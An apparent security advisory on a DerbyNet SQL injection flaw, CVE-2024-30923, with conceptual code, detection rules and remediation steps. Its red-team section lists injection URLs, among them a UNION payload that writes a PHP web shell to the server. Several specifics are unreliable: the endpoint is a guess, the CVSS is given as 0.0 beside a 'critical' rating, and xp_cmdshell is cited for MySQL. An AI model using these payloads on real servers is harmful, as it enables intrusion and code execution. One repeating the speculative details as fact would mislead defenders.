CVE-2024-30923

Executive Summary

CVE-2024-30923 is a critical SQL Injection vulnerability discovered in DerbyNet version 9.0 and below. The flaw resides in the "where Clause" parameter during Racer Document Rendering, allowing a remote, unauthenticated attacker to execute arbitrary SQL commands. This can lead to full database compromise, data exfiltration, and potential remote code execution on the underlying server. No official patch has been released by the vendor, and no public proof-of-concept (PoC) or exploit code is currently available. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application) and is associated with CWE-89 (Improper Neutralization of Special Elements used in an SQL Command).

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the DerbyNet software. Organizations using DerbyNet should treat this as a critical supply chain risk due to the lack of a vendor patch.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Base Score not provided by NVD, but based on the nature of the vulnerability, a high score is expected)
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)
• Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and the impact on confidentiality, integrity, and availability is high.

Deep Dive & Mechanics

The vulnerability exists in the Racer Document Rendering functionality of DerbyNet. The application fails to properly sanitize user-supplied input passed to the "where Clause" parameter. An attacker can inject malicious SQL statements into this parameter, which are then executed against the backend database.

Root Cause: The application directly concatenates user input into SQL queries without using parameterized statements or prepared statements.

Attack Vector: An HTTP request to the vulnerable endpoint with a crafted "where Clause" parameter.

Impact:

• Data Exfiltration: Attackers can extract sensitive data from the database, including user credentials, race results, and configuration data.
• Authentication Bypass: SQL injection can be used to bypass authentication mechanisms.
• Remote Code Execution (RCE): In some configurations, SQL injection can be leveraged to write files to the server or execute system commands via features like xp_cmdshell (if enabled) or by writing a web shell.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$whereClause = $_GET['where'];
$query = "SELECT * FROM racers WHERE " . $whereClause;
$result = mysqli_query($conn, $query);

Patched Code (Conceptual):

$whereClause = $_GET['where'];
// Use parameterized query
$stmt = $conn->prepare("SELECT * FROM racers WHERE " . $whereClause);
// Note: Even with prepare, dynamic WHERE clauses are dangerous. Better to use whitelisting.
// Example of safer approach:
$allowedColumns = ['name', 'age', 'team'];
$column = $_GET['column'];
if (in_array($column, $allowedColumns)) {
    $value = $_GET['value'];
    $stmt = $conn->prepare("SELECT * FROM racers WHERE $column = ?");
    $stmt->bind_param("s", $value);
    $stmt->execute();
}

Note: The best practice is to avoid dynamic WHERE clauses entirely. If necessary, use strict whitelisting of column names and parameterized values.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Target: A local instance of DerbyNet v9.0 running on a vulnerable server (e.g., Ubuntu 20.04 with Apache, MySQL, PHP).
2. Attacker: Kali Linux machine on the same network.

Exploitation Steps:

1. Identify the vulnerable endpoint: The Racer Document Rendering page. Example URL: http://target/racers.php?action=render&where=1=1
2. Test for SQL injection: Inject a single quote (') to cause an error.

   http://target/racers.php?action=render&where=1'
   

3. Confirm injection: Use a boolean-based or time-based technique.

   http://target/racers.php?action=render&where=1 AND 1=1
   http://target/racers.php?action=render&where=1 AND 1=2
   

4. Extract data: Use UNION-based injection to retrieve data from other tables.

   http://target/racers.php?action=render&where=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
   

5. Escalate to RCE: If the database user has file write privileges, attempt to write a web shell.

   http://target/racers.php?action=render&where=1 UNION SELECT 1,"<?php system($_GET['cmd']); ?>",3,4,5,6,7,8,9,10 INTO OUTFILE '/var/www/html/shell.php'--
   

Note: No public exploit code is available. The above steps are for educational purposes only.

Blue Team

Detection & Response:

1. Monitor Web Logs: Look for suspicious patterns in the where parameter, such as SQL keywords (UNION, SELECT, AND, OR, --, #).
2. WAF Rules: Deploy Web Application Firewall (WAF) rules to block SQL injection attempts.
3. Database Monitoring: Monitor database logs for unusual queries or errors.
4. Network Monitoring: Use IDS/IPS signatures to detect SQL injection payloads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /racers.php with a where parameter containing SQL keywords.
  • Outbound database connections from the web server to unusual IPs.
• File System IOCs:
  • Unexpected files in the web root (e.g., shell.php, cmd.php).
  • Modified or new files in the DerbyNet installation directory.
• Database IOCs:
  • Unusual database queries in logs.
  • New database users or privileges.
  • Modified or deleted tables.

Detection Engineering

YARA Rule

rule CVE_2024_30923_SQLi_DerbyNet {
    meta:
        description = "Detects SQL injection attempts targeting DerbyNet CVE-2024-30923"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-30923"
    strings:
        $s1 = "where=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR" nocase
        $s5 = "AND" nocase
        $s6 = "--" nocase
        $s7 = "#" nocase
    condition:
        $s1 and (any of ($s2, $s3, $s4, $s5, $s6, $s7))
}

Sigma Rule

title: SQL Injection Attempt Against DerbyNet CVE-2024-30923
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts in the 'where' parameter of DerbyNet's racer.php
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'where='
            - 'UNION'
            - 'SELECT'
            - 'OR'
            - 'AND'
            - '--'
            - '#'
    condition: selection
falsepositives:
    - Legitimate use of the 'where' parameter with non-malicious content
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2024-30923 SQL Injection Attempt - DerbyNet"; flow:to_server,established; content:"/racers.php"; http_uri; content:"where="; http_uri; pcre:"/(UNION|SELECT|OR|AND|--|#)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate: If possible, isolate the DerbyNet server from the internet until a patch is available.
2. WAF: Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Input Validation: Implement strict input validation and sanitization for the where parameter. Use a whitelist of allowed characters and keywords.
4. Parameterized Queries: Rewrite the vulnerable code to use parameterized queries or prepared statements.

Long-Term Actions:

1. Vendor Patch: Monitor the DerbyNet vendor for an official patch. If none is released, consider migrating to an alternative solution.
2. Code Audit: Conduct a full security audit of the DerbyNet application to identify other potential vulnerabilities.
3. Least Privilege: Ensure the database user used by the application has the minimum necessary privileges (e.g., no FILE privilege, no CREATE or DROP privileges).

Valters IT